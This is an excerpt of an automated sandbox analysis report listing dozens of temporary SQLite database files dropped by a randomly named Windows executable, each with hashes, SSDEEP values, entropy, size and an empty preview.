SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nWLxmTe49S

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nbAbBeMsXW

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\o6GqOSeJIf

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\odBMAKFGUf

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\oi4iuqouKD

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\oqXnhPyCsl

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ox5InCIix9

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pBfnD5lqy0

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pdkjO5KTRJ

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\poSHgq79hj

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\q7Hq9J30jq

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qRYU7WNQxl

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qi1LYziiXH

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qlNqbfqKJ6

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qowq7wsHTN

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\quDWYxoxuR

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\rAaF2QIyJp

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\rOkIBu7vyC

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\rpN3EOLq6g

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\rpWkKVo7sG

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\s0stEi68Dt

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\s8ghYjz4zB

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sAFSLUfEr6

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sPzbxGBP8i

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sRpf54BAcD

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

